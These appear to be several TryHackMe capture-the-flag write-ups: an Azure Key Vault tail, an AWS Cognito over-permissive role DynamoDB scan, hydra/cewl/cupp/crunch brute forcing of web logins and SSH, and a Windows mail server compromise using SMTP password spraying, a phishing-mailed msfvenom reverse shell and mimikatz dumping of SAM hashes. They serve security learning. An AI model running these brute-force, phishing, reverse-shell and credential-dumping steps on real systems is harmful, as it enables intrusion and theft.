We also retrieve key-shard-1 and key-shard-3 (they only have one version each – no rotation, so the current value is the real one).

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-1
az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-3

Values:

key-shard-1: THM{n0t_ur
key-shard-3: **_******}

We didn’t need master-key – it was probably locked down anyway (the service principal lacked getSecret permission on it, as we saw a “Forbidden” error when we tried).

🏁 Assembling the Flag

Combine in order:

THM{n0t_ur + _k3ys_***_ + **_******} = `THM{n0t_ur_k3ys___****}`*

📝 Key Lessons

Never hard‑code SAS tokens in client‑side code.

The SAS token here was meant only for the backup function, but it was exposed to every visitor. With read/list permissions, an attacker can enumerate and download any file in the storage account.
Avoid using long‑lived SAS tokens.

This token was valid until 2099 – a massive window. Always set short expiry times and use stored access policies.
Secure your Key Vault secrets with proper RBAC.

The service principal had read access to most secrets but not all – yet it was enough. The “freshly rotated” secret still had its older version left intact, which defeated the rotation.
Secret versioning is both a blessing and a curse.

Version history is useful for recovery, but it can also leak sensitive data if not managed carefully. When rotating, consider purging older versions if they are no longer needed.
The “vault” container was a second storage container – a hidden backup of credentials.

This is a classic case of “security through obscurity” – it didn’t hide anything because the SAS token gave access to all containers.

🎯 Conclusion

This challenge beautifully demonstrates how a single exposed SAS token can lead to full compromise of an Azure environment, including Key Vault secrets. By following the trust chain – from website → storage → service principal → Key Vault → secret versions – we extracted the flag split across multiple shards.

Final Flag: THM{n0t_ur_k3ys_***_**_******}

Happy hacking, and remember: always check the source code! 🏖️🔐

TryHackMe Complimentary Write-Up: Exploiting an Over-Permissive AWS Guest Role

Md. Ibrahim Reza Rabbi — Mon, 03 Aug 2026 10:59:25 +0000

Byte Lotus Wellness - A Deep Dive into Misconfigured AWS Permissions

TryHackMe Challenge Write-Up

Learn how an unauthenticated guest role in AWS can expose sensitive data - step by step.

📖 Introduction

The challenge presents a wellness app that promises "complimentary access" without any login or sign-up. Upon opening the web page, the app magically "knows" you and displays your wellness profile. But how? And what else can you access?

The goal: find out how the app knows anything about you, and see what else it's willing to hand over.

Spoiler: It's all about Cognito Identity Pools and over-permissive IAM roles.

🕵️ Reconnaissance

Step 1 - Website & S3 Bucket

The app is hosted on an S3 bucket as a static website:

http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/

First, we try to list the bucket directly (maybe the flag is stored as a file):

aws s3 ls s3://complimentary-wellness-app-332173347248/ --no-sign-request

Response:

aws: [ERROR]: An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

So the bucket is not publicly listable - we need to look elsewhere.

Step 2 - Inspecting the Frontend

We download the main page and look for JavaScript files that might contain logic or AWS configuration.

curl -s http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/ > index.html

Examining index.html reveals a <script> tag loading app.js. We fetch it:

curl -s http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/app.js

The source code is very revealing - it contains hardcoded AWS configuration.

📄 Static Analysis - `app.js`

Here is the full app.js (with comments preserved):

// Byte Lotus Wellness - guest dashboard
//
// No login screen on purpose: every visitor gets "free" AWS guest
// credentials from our Cognito Identity Pool so we can save wellness
// preferences without the friction of an account.
const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688";
const AWS_REGION = "us-east-1";
const TABLE_NAME = "complimentary-GuestWellnessProfiles";

AWS.config.region = AWS_REGION;

AWS.config.credentials = new AWS.CognitoIdentityCredentials({
  IdentityPoolId: IDENTITY_POOL_ID,
});

function guestId() {
  let id = localStorage.getItem("byteLotusGuestId");

  if (!id) {
    // First visit: hand out a throwaway guest id, same as checking in.
    id = "guest-" + Math.random().toString(36).slice(2, 10);
    localStorage.setItem("byteLotusGuestId", id);
  }

  return id;
}

function renderDashboard(item) {
  const el = document.getElementById("dashboard");

  if (!item) {
    el.textContent = "Welcome! We don't have wellness data for you yet - check back after your first spa visit.";
    return;
  }

  el.textContent = [
    "Name: " + (item.name ? item.name.S : "-"),
    "Loyalty notes: " + (item.notes ? item.notes.S : "-"),
  ].join("\n");
}

AWS.config.credentials.get(function (err) {
  if (err) {
    console.error("Could not fetch guest credentials:", err);
    return;
  }

  const dynamodb = new AWS.DynamoDB({ region: AWS_REGION });

  dynamodb.getItem(
    {
      TableName: TABLE_NAME,
      Key: { guest_id: { S: guestId() } },
    },
    function (err, data) {
      if (err) {
        console.error("Could not load dashboard:", err);
        return;
      }

      renderDashboard(data.Item);
    }
  );
});

🔍 What we learn

The app uses Amazon Cognito Identity Pools (Federated Identities) to obtain temporary AWS credentials for every visitor.
The credentials are fetched without any authentication - unauthenticated guest access.
The Identity Pool ID, region, and DynamoDB table name are hardcoded in the client-side code.
The app generates a random guest-xxxxxxxx ID and stores it in localStorage to identify the user.
It then queries DynamoDB with dynamodb.getItem() using that guest ID and displays the name and notes.

The crucial point: the IAM role attached to the guest identity pool likely has overly broad permissions - possibly allowing Scan on the entire table.

💥 Exploitation - Retrieving All Data

Step 1 - Get a Cognito Identity ID

Using the Identity Pool ID from app.js, we call the AWS CLI to obtain an identity ID (this is an unauthenticated call - no credentials needed).

aws cognito-identity get-id \
  --identity-pool-id "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688" \
  --region us-east-1 \
  --no-sign-request

Response:

{
  "IdentityId": "us-east-1:4d571309-b069-c330-4112-2db03548a68a"
}

Step 2 - Get Temporary AWS Credentials

Now we use that identity ID to obtain temporary credentials (Access Key, Secret Key, Session Token). Again, no prior authentication is required.

aws cognito-identity get-credentials-for-identity \
  --identity-id "us-east-1:4d571309-b069-c330-4112-2db03548a68a" \
  --region us-east-1 \
  --no-sign-request

Response (trimmed for readability):

{
  "IdentityId": "us-east-1:4d571309-b069-c330-4112-2db03548a68a",
  "Credentials": {
    "AccessKeyId": "ASIAU2VYTBGYOA6TL5AK",
    "SecretKey": "Xex9BTBIuqWV0SqjgIuP1dICFaWj/FiTFk/9+iZq",
    "SessionToken": "IQoJb3JpZ2luX2Vj…",
    "Expiration": "2026-08-03T07:32:25-04:00"
  }
}

Note: These credentials are temporary and will expire - but they give us enough time to query DynamoDB.

Step 3 - Use the Credentials to Access DynamoDB

We set the credentials as environment variables so the AWS CLI uses them.

export AWS_ACCESS_KEY_ID="ASIAU2VYTBGYOA6TL5AK"
export AWS_SECRET_ACCESS_KEY="Xex9BTBIuqWV0SqjgIuP1dICFaWj/FiTFk/9+iZq"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2Vj…"
export AWS_DEFAULT_REGION="us-east-1"

Now we can perform a Scan on the DynamoDB table (assuming the role allows it). Let's try:

aws dynamodb scan --table-name "complimentary-GuestWellnessProfiles"

Response (all items):

{
  "Items": [
    {
      "password": { "S": "digitaldetox2026" },
      "location": { "S": "25.2055,55.2733" },
      "notes": { "S": "Booked the quiet room for his \"digital detox.\" Checked email twice since writing that." },
      "guest_id": { "S": "guest-vibe" },
      "email": { "S": "vibe@hackerholidays.thm" },
      "phone": { "S": "+1–555–0193" },
      "name": { "S": "Vibe (Move Fast & Break Things)" }
    },
    {
      "password": { "S": "sunkissed88" },
      "location": { "S": "25.2048,55.2708" },
      "notes": { "S": "Posted 47 times in three days. Wants everything tagged #ByteLotus for the algorithm." },
      "guest_id": { "S": "guest-lambo" },
      "email": { "S": "lambo@hackerholidays.thm" },
      "phone": { "S": "+1–555–0142" },
      "name": { "S": "Lambo (@0xMia)" }
    },
    {
      "password": { "S": "escalation_only" },
      "location": { "S": "25.2048,55.2708" },
      "notes": { "S": "If you're reading this, the wellness app's guest role can read every profile, not just its own. THM{fr33_app_****_****!}" },
      "guest_id": { "S": "guest-vip-042" },
      "email": { "S": "vip042@hackerholidays.thm" },
      "phone": { "S": "+1–555–0100" }
    }
  ]
}

We found the flag! It's embedded in the notes of the guest-vip-042 item:

THM{fr33_app_****_****!}

🧠 Why Did This Happen? (Root Cause Analysis)

🔹 Cognito Identity Pools (Federated Identities)

Amazon Cognito Identity Pools allow you to grant temporary AWS credentials to users, even unauthenticated ones. This is often used for guest access in mobile/web apps. The identity pool is configured with an IAM role that defines what actions the temporary credentials can perform.

🔹 The Misconfiguration

The IAM role attached to the unauthenticated guest access was over-permissive.

Instead of restricting access to only the specific item belonging to that guest (e.g., using GetItem with a condition on guest_id), the role allowed dynamodb:Scan on the entire table. This meant anyone with the Identity Pool ID could retrieve all records.

🔹 Client-Side Exposure

Hardcoding the Identity Pool ID, region, and table name in client-side JavaScript is standard for frontend apps using AWS - but it must be paired with proper IAM restrictions. Here, the developer relied on the client-generated guest_id to filter data, but the backend permissions made that filter irrelevant.

🛡️ How to Fix It (Mitigation)

Apply the Principle of Least Privilege to the IAM role for unauthenticated users.

Only allow dynamodb:GetItem (not Scan).
Use a Condition to restrict access to items where guest_id matches the Cognito identity ID (or a derived value).
Example IAM policy:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "dynamodb:GetItem",
      "Resource": "arn:aws:dynamodb:us-east-1:ACCOUNT:table/complimentary-GuestWellnessProfiles",
      "Condition": {
        "ForAllValues:StringEquals": {
          "dynamodb:LeadingKeys": ["${cognito-identity.amazonaws.com:sub}"]
        }
      }
    }
  ]
}

Avoid hardcoding sensitive values in client-side code - but in this case, the identity pool ID is meant to be public; the real protection is the IAM policy.

📌 Conclusion

This challenge demonstrates a classic cloud misconfiguration: over-privileged unauthenticated roles. By extracting the Identity Pool ID from the frontend JavaScript, we obtained temporary credentials and scanned the DynamoDB table, exposing all guest profiles - including the flag.

The key takeaway: never trust client-side data filtering; always enforce strict permissions at the IAM level.

🏁 Flag

THM{fr33_app_****_****!}

Happy hacking, and remember - with great permissions come great responsibilities! 🔐

Checkmate (TryHackMe) Writeup | Credential Attacks, Custom Wordlists, and SSH Brute Force

Md. Ibrahim Reza Rabbi — Wed, 17 Jun 2026 10:42:07 +0000

Challenge 1:

Marco deployed a firewall at firewall.thm:5001 but kept default credentials.

Used this Command to get the pasword

hydra -l admin -P /usr/share/wordlists/rockyou.txt -f -V -t 4 10.48.180.224 -s 5001 http-post-form '/login:username=^USER^&password=^PASS^:F=Invalid credentials'

from page source got the parameters ->

And for an incorrect password it was showing "Invalid credentials"

Challenge 2:

Marco built an internal Employee Login panel on jobs.thm:5002 and used common company keywords as passwords.

We CEWL keywords from the site,

┌──(kali㉿kali)-[~/Try_Hack_Me/Challenges]
└─$ cewl --lowercase http://10.48.180.224:5002/ > passwords.txt

┌──(kali㉿kali)-[~/Try_Hack_Me/Challenges]
└─$ hydra -l marco -P passwords.txt -f -V -t 4 10.48.180.224 -s 5002 http-post-form '/login:username=^USER^&password=^PASS^:F=Invalid credentials'

Challenge 3 :

Navigate to social.thm:5003 and derive Marco's password from personal info.

With those info to make a wordlist "CUPP" is the best tool

┌──(kali㉿kali)-[~/Try_Hack_Me/Challenges]
└─$ cupp -i
 ___________ 
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\   
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]


[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: Marco
> Surname: Bianchi
> Nickname: marky
> Birthdate (DDMMYYYY): 14021995


> Partners) name: 
> Partners) nickname: 
> Partners) birthdate (DDMMYYYY): 


> Child's name: 
> Child's nickname: 
> Child's birthdate (DDMMYYYY): 


> Pet's name: 
> Company name: 


> Do you want to add some key words about the victim? Y/[N]: N
> Do you want to add special chars at the end of words? Y/[N]: N
> Do you want to add some random numbers at the end of words? Y/[N]:N
> Leet mode? (i.e. leet = 1337) Y/[N]: N

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to marco.txt, counting 2816 words.
[+] Now load your pistolero with marco.txt and shoot! Good luck!

then used this command ->

hydra -l marco -P marco.txt -f -V -t 4 10.48.180.224 -s 5003 http-post-form '/login:username=^USER^&password=^PASS^:F=Invalid credentials'

Challenge 4:

On social.thm:5003, Marco recently uploaded a new profile picture. For privacy and storage consistency, the platform automatically renames uploaded files to the SHA256 hash of the original filename and saves them in the format (SHA256).png. Your task is to identify the original filename of Marco’s uploaded profile picture. Submit only the filename to proceed.

after log in with that credential we got this interface ->

When we opoened his profile pic noticed the file name is sha-256,

Challenge 5:

Marco has revealed his password pattern on social.thm:5003, using predictable rules based on keywords and formatting. Use this information to generate a targeted wordlist and brute-force the SSH service with username marco.

Now notice marco's post and also notice "oliver" hotel name->

But the oliver is not the company keyword what marco was indicating he was indicating "security" keyword under his post ->
so used this 2 commands ->
crunch 13 13 -t Security20%%! -o marco_wordlist.txt
hydra -l marco -P marco_wordlist.txt ssh://10.48.180.224

You Got Mail: Compromising a Windows Mail Server | TryHackMe

Md. Ibrahim Reza Rabbi — Wed, 17 Jun 2026 07:17:24 +0000

In this walkthrough, we'll explore how one email password led to a complete mail server compromise.

NMAP command,
sudo nmap -sS -sV -sC -O -Pn -p- --min-rate 1000 -T4 -oA fullscan <target-ip>

The target is a Windows mail server (BRICK-MAIL) running hMailServer with SMTP, POP3, and IMAP services exposed. It also has SMB (445), RDP (3389), and WinRM (5985) open, making those the main services to investigate next.

When I surf the website https://brownbrick.co/, I noticed this part ->

I listed all the emails and for the password try to gather the keywords from the website with the help of the "cewl" & after that with "hydra" checked the open SMTP server at port 587 to find a legit password of someone ->

> ┌──(kali㉿kali)-[~/Try_Hack_Me]
> └─$ cat emails.txt 
> oaurelius@brownbrick.co
> wrohit@brownbrick.co
> lhedvig@brownbrick.co
> tchikondi@brownbrick.co
> pcathrine@brownbrick.co
> fstamatis@brownbrick.co
>                                                                                                                     
> ┌──(kali㉿kali)-[~/Try_Hack_Me]
> └─$ cewl --lowercase https://brownbrick.co/ > passwords.txt
>                                                                                                                     
> ┌──(kali㉿kali)-[~/Try_Hack_Me]
> └─$ hydra -L emails.txt -P passwords.txt 10.49.179.117 smtp -s 587 -t 12
> Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
> Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-06-13 06:28:48
> [INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
> [DATA] max 12 tasks per 1 server, overall 12 tasks, 1134 login tries (l:6/p:189), ~95 tries per task
> [DATA] attacking smtp://10.49.179.117:587/
> [587][smtp] host: 10.49.179.117   login: lhedvig@brownbrick.co   password: br***s
> 1 of 1 target successfully completed, 1 valid password found
> Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-06-13 06:29:27

Now, with this "lhedvig@brownbrick.co" we can send a phishing mail in which we can make the other users to click or execute our attached malicious file [ which we will collect from the "msfvenom" (reverse shell for windows) ] and we notice that "wrohit" user was the victim ->

> ┌──(kali㉿kali)-[~/Try_Hack_Me]
> └─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.129.81 LPORT=443 -f exe -o shell.exe
> [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
> [-] No arch selected, selecting arch: x64 from the payload
> No encoder specified, outputting raw payload
> Payload size: 460 bytes
> Final size of exe file: 7680 bytes
> Saved as: shell.exe
>                                                                                                    
> ┌──(kali㉿kali)-[~/Try_Hack_Me]
> └─$ for email in $(cat emails.txt); do sendemail -f "lhedvig@brownbrick.co" -t "$email" -u "test" -m "test" -a shell.exe -s 10.49.179.117:25 -xu "lhedvig@brownbrick.co" -xp "bricks"; done
> Jun 13 07:40:38 kali sendemail[5277]: Email was sent successfully!
> Jun 13 07:40:39 kali sendemail[5278]: Email was sent successfully!
> Jun 13 07:40:39 kali sendemail[5279]: Email was sent successfully!
> Jun 13 07:40:40 kali sendemail[5280]: Email was sent successfully!
> Jun 13 07:40:40 kali sendemail[5281]: Email was sent successfully!
> Jun 13 07:40:41 kali sendemail[5282]: Email was sent successfully!

And in the reverse shell listener port we get this ->

> ┌──(kali㉿kali)-[~/Try_Hack_Me]
> └─$ rlwrap nc -lvnp 443
> listening on [any] 443 ...
> connect to [192.168.129.81] from (UNKNOWN) [10.49.179.117] 49946
> Microsoft Windows [Version 10.0.17763.1821]
> (c) 2018 Microsoft Corporation. All rights reserved.
> C:\Mail\Attachments>whoami
> whoami
> brick-mail\wrohit
> C:\Mail\Attachments>dir
> dir
>  Volume in drive C has no label.
>  Volume Serial Number is A8A4-C362
>  Directory of C:\Mail\Attachments
> 06/13/2026  11:40 AM    <DIR>          .
> 06/13/2026  11:40 AM    <DIR>          ..
> 03/17/2024  06:09 PM               258 exec-mail.ps1
> 06/13/2026  11:40 AM             7,680 shell.exe
>                2 File(s)          7,938 bytes
>                2 Dir(s)  13,990,260,736 bytes free
> C:\Mail\Attachments>dir C:\*flag*.txt /s
> dir C:\*flag*.txt /s
>  Volume in drive C has no label.
>  Volume Serial Number is A8A4-C362
>  Directory of C:\Users\wrohit\Desktop
> 03/11/2024  05:15 AM                25 flag.txt
>                1 File(s)             25 bytes
>      Total Files Listed:
>                1 File(s)             25 bytes
>                0 Dir(s)  13,990,260,736 bytes free
> C:\Mail\Attachments>type C:\Users\wrohit\Desktop\flag.txt
> type C:\Users\wrohit\Desktop\flag.txt
> THM{l1v1n_7h3_*****_****}

and we get the flag.

At this point, since we are a member of the Administrators group, we can simply upload Mimikatz to the machine and use it to dump the hashes from the SAM registry as follows:

host a python server ->

┌──(kali㉿kali)-[~/Try_Hack_Me]
└─$ wget https://github.com/ParrotSec/mimikatz/blob/master/x64/mimikatz.exe
--2026-06-13 08:00:57--  https://github.com/ParrotSec/mimikatz/blob/master/x64/mimikatz.exe
Resolving github.com (github.com)... 20.205.243.166
Connecting to github.com (github.com)|20.205.243.166|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: ‘mimikatz.exe’

mimikatz.exe                 [  <=>                             ] 220.01K   757KB/s    in 0.3s    

2026-06-13 08:00:59 (757 KB/s) - ‘mimikatz.exe’ saved [225288]


┌──(kali㉿kali)-[~/Try_Hack_Me]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.49.179.117 - - [13/Jun/2026 08:02:12] "GET /mimikatz.exe HTTP/1.1" 200 -

and download that from the reverse shell ->

C:\Mail\Attachments>curl http://192.168.129.81:8000/mimikatz.exe -o mimikatz.exe

then, we searched for the method of dumping Sam database via mimikatz ->

C:\Mail\Attachments>mimikatz.exe
mimikatz.exe
   .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
  ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
  '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/
 mimikatz # privilege::debug
 Privilege '20' OK
 mimikatz # token::elevate
 Token Id  : 0
 User name : 
 SID name  : NT AUTHORITY\SYSTEM
 728 {0;000003e7} 1 D 25319      NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
  -> Impersonated !
  * Process Token : {0;003146ba} 0 D 3995258    BRICK-MAIL\wrohitS-1-5-21-1966530601-3185510712-10604624-1014 (14g,24p) Primary
  * Thread Token  : {0;000003e7} 1 D 4017344    NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)
 mimikatz # lsadump::sam
 Domain : BRICK-MAIL
 SysKey : 36c8d26ec0df8b23ce63bcefa6e2d821
 Local SID : S-1-5-21-1966530601-3185510712-10604624
 SAMKey : 6e708461100b4988991ce3b4d8b1784e
 RID  : 000001f4 (500)
 User : Administrator
   Hash NTLM: 2dfe3378335d43f9764e581b856a662a
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : 3d527dff081980ff09e87e492cebee23
 * Primary:Kerberos-Newer-Keys *
     Default Salt : EC2AMAZ-QTVAAHMAdministrator
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : 9484aadacd6c5994aed633bf92b6b3db31c57c932d2cd84a7fa635a0b3262806
       aes128_hmac       (4096) : cdda685dd630dd0796e5ddf38e22dce5
       des_cbc_md5       (4096) : 08340db613fb46b5
    OldCredentials
      aes256_hmac       (4096) : 50141e3b3b449512e393a66c32e7f89a131744eef5d8a3f6a8576919a810cda3
       aes128_hmac       (4096) : 0d717b42dbaf77bb7248b4bebf8bb3a6
       des_cbc_md5       (4096) : bc23a20170542f25
     OlderCredentials
       aes256_hmac       (4096) : 3b191b95e0b1fa83077319699194a79c8adea64e36bade3e959ccbbff42ea095
       aes128_hmac       (4096) : 318ecf3e0f6b969a949092706b519548
       des_cbc_md5       (4096) : 97f7bc3ead1f6ed6
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : EC2AMAZ-QTVAAHMAdministrator
     Credentials
       des_cbc_md5       : 08340db613fb46b5
     OldCredentials
       des_cbc_md5       : bc23a20170542f25
 RID  : 000001f5 (501)
 User : Guest
 RID  : 000001f7 (503)
 User : DefaultAccount
 RID  : 000001f8 (504)
 User : WDAGUtilityAccount
   Hash NTLM: 58f8e0214224aebc2c5f82fb7cb47ca1
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : a1528cd40d99e5dfa9fa0809af998696
 * Primary:Kerberos-Newer-Keys *
     Default Salt : WDAGUtilityAccount
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : 3ff137e53cac32e3e3857dc89b725fd62ae4eee729c1c5c077e54e5882d8bd55
       aes128_hmac       (4096) : 15ac5054635c97d02c174ee3aa672227
       des_cbc_md5       (4096) : ce9b2cabd55df4ce
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : WDAGUtilityAccount
     Credentials
       des_cbc_md5       : ce9b2cabd55df4ce
 RID  : 000003f1 (1009)
 User : fstamatis
   Hash NTLM: 034c830cc313485a82e57a0d9dfa14e4
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : 2ac6116566738883775d4c64894922ea
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILfstamatis
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : b677f117b8f87d99bd2bec0dc2763404eb28d34e173722ec4d663d439b121c6d
       aes128_hmac       (4096) : d96cbd8c143e83959cf98b1b37bc5c08
       des_cbc_md5       (4096) : 017acb2f802a70a2
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILfstamatis
     Credentials
       des_cbc_md5       : 017acb2f802a70a2
 RID  : 000003f2 (1010)
 User : lhedvig
   Hash NTLM: 034c830cc313485a82e57a0d9dfa14e4
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : 9a9fe1153250a8c494ac7290b6e86bec
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILlhedvig
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : 9cc3c27c2b6a7a6bfdcf4c9790aee0bd3012f337a8c452a0a5321ee6673c663b
       aes128_hmac       (4096) : 9d9bc45f622cf03fe08b86bd9ef45e5a
       des_cbc_md5       (4096) : d96770bce3ba327a
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILlhedvig
     Credentials
       des_cbc_md5       : d96770bce3ba327a
 RID  : 000003f3 (1011)
 User : oaurelius
   Hash NTLM: 034c830cc313485a82e57a0d9dfa14e4
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : bb03e2de24b406b050d5c4b110de5d94
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILoaurelius
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : 4e4d369c51fe79b5fa9cd372a6e2983b3d30ae43f7990701548775d087106532
       aes128_hmac       (4096) : ed9ae473c2213b7994c94e800cdb05ca
       des_cbc_md5       (4096) : 3167266bd54c3191
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILoaurelius
     Credentials
       des_cbc_md5       : 3167266bd54c3191
 RID  : 000003f4 (1012)
 User : pcathrine
   Hash NTLM: 034c830cc313485a82e57a0d9dfa14e4
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : e52951c39856ffc37c81c2df09ccad3c
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILpcathrine
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : ea10cad59f29a9c8daf61992e574781a095d9e4c6443da8170a7c07c051eda59
       aes128_hmac       (4096) : 93005a1203c24a41c9a05beee9662d13
       des_cbc_md5       (4096) : ae701fec345b3b8c
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILpcathrine
     Credentials
       des_cbc_md5       : ae701fec345b3b8c
 RID  : 000003f5 (1013)
 User : tchikondi
   Hash NTLM: 034c830cc313485a82e57a0d9dfa14e4
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : 5588ad299d776483b44417c0bd88861a
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILtchikondi
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : eaa49b1593bb2c8240611ead9100002a3c520fcbfd103629da20046e5f093b10
       aes128_hmac       (4096) : ef093a7d07ae03cedfbe3098a7376706
       des_cbc_md5       (4096) : 6bab43253e6b4aa1
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILtchikondi
     Credentials
       des_cbc_md5       : 6bab43253e6b4aa1
 RID  : 000003f6 (1014)
 User : wrohit
   Hash NTLM: 8458995f1d0a4b0c107fb8**********
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : 5e0d9f81c0780c189099b7758d79a2e6
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILwrohit
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : 06cf703200c4fcd6ffaca428e96f18e5063dbb956c58aa7edee5b5acd7817b64
       aes128_hmac       (4096) : 8976fef34b9b36fea80c2d65c764ec5e
       des_cbc_md5       (4096) : 192558b67f7983a4
     OldCredentials
       aes256_hmac       (4096) : 227b60e30b0f1b929da7a0022c56de98121b6b8c151061be8f3923b823b6a85a
       aes128_hmac       (4096) : 82b5027730dd8a73890e09ea65cec047
       des_cbc_md5       (4096) : 13adae677067f7e9
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILwrohit
     Credentials
       des_cbc_md5       : 192558b67f7983a4
     OldCredentials
       des_cbc_md5       : 13adae677067f7e9

And we get the NTLM hash of "wrohit" ->
User : wrohit Hash NTLM: 8458995f1d0a4b0c107fb8**********

Lastly, we are tasked with finding the password for the hMailServer Administrator Dashboard

C:\Mail\Attachments>dir C:\*hMailServer*  /s
dir C:\*hMailServer*  /s
 Volume in drive C has no label.
 Volume Serial Number is A8A4-C362

 Directory of C:\Program Files (x86)

01/29/2024  05:45 AM    <DIR>          hMailServer
               0 File(s)              0 bytes

 Directory of C:\Program Files (x86)\hMailServer\Addons\DataDirectorySynchronizer

10/03/2021  08:12 AM           176,128 Interop.hMailServer.dll
               1 File(s)        176,128 bytes

 Directory of C:\Program Files (x86)\hMailServer\Bin

10/03/2021  08:12 AM         4,636,672 hMailServer.exe
02/25/2024  11:15 PM               604 hMailServer.INI
10/03/2021  08:12 AM            19,456 hMailServer.Minidump.exe
10/03/2021  08:09 AM           163,976 hMailServer.tlb
10/03/2021  08:12 AM           176,128 Interop.hMailServer.dll
               5 File(s)      4,996,836 bytes

 Directory of C:\Program Files (x86)\hMailServer\Database

06/17/2026  06:45 AM           675,840 hMailServer.sdf
               1 File(s)        675,840 bytes

 Directory of C:\ProgramData\Microsoft\Windows\Start Menu\Programs

01/29/2024  05:45 AM    <DIR>          hMailServer
               0 File(s)              0 bytes

 Directory of C:\ProgramData\Microsoft\Windows\Start Menu\Programs\hMailServer

01/29/2024  05:45 AM             1,175 hMailServer Administrator.lnk
01/29/2024  05:45 AM             1,158 hMailServer Database Setup.lnk
               2 File(s)          2,333 bytes

 Directory of C:\ProgramData\Microsoft\Windows\Start Menu\Programs\hMailServer\Installation

01/29/2024  05:45 AM             1,077 Uninstall hMailServer.lnk
               1 File(s)          1,077 bytes

 Directory of C:\Users\Administrator\AppData\Local\Halvar Information

01/29/2024  05:42 AM    <DIR>          hMailServer
               0 File(s)              0 bytes

 Directory of C:\Users\Administrator\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\AppIconCache\100

03/28/2024  04:04 AM            37,014 {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}_hMailServer_Addons_DataDirectorySynchronizer_DataDirectorySynchronizer_exe
03/28/2024  04:04 AM            37,014 {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}_hMailServer_Bin_DBSetup_exe
03/28/2024  04:04 AM            37,014 {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}_hMailServer_Bin_hMailAdmin_exe
03/28/2024  04:04 AM            37,014 {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}_hMailServer_unins000_exe
               4 File(s)        148,056 bytes

 Directory of C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent

02/25/2024  11:15 PM             1,009 hMailServer.lnk
               1 File(s)          1,009 bytes

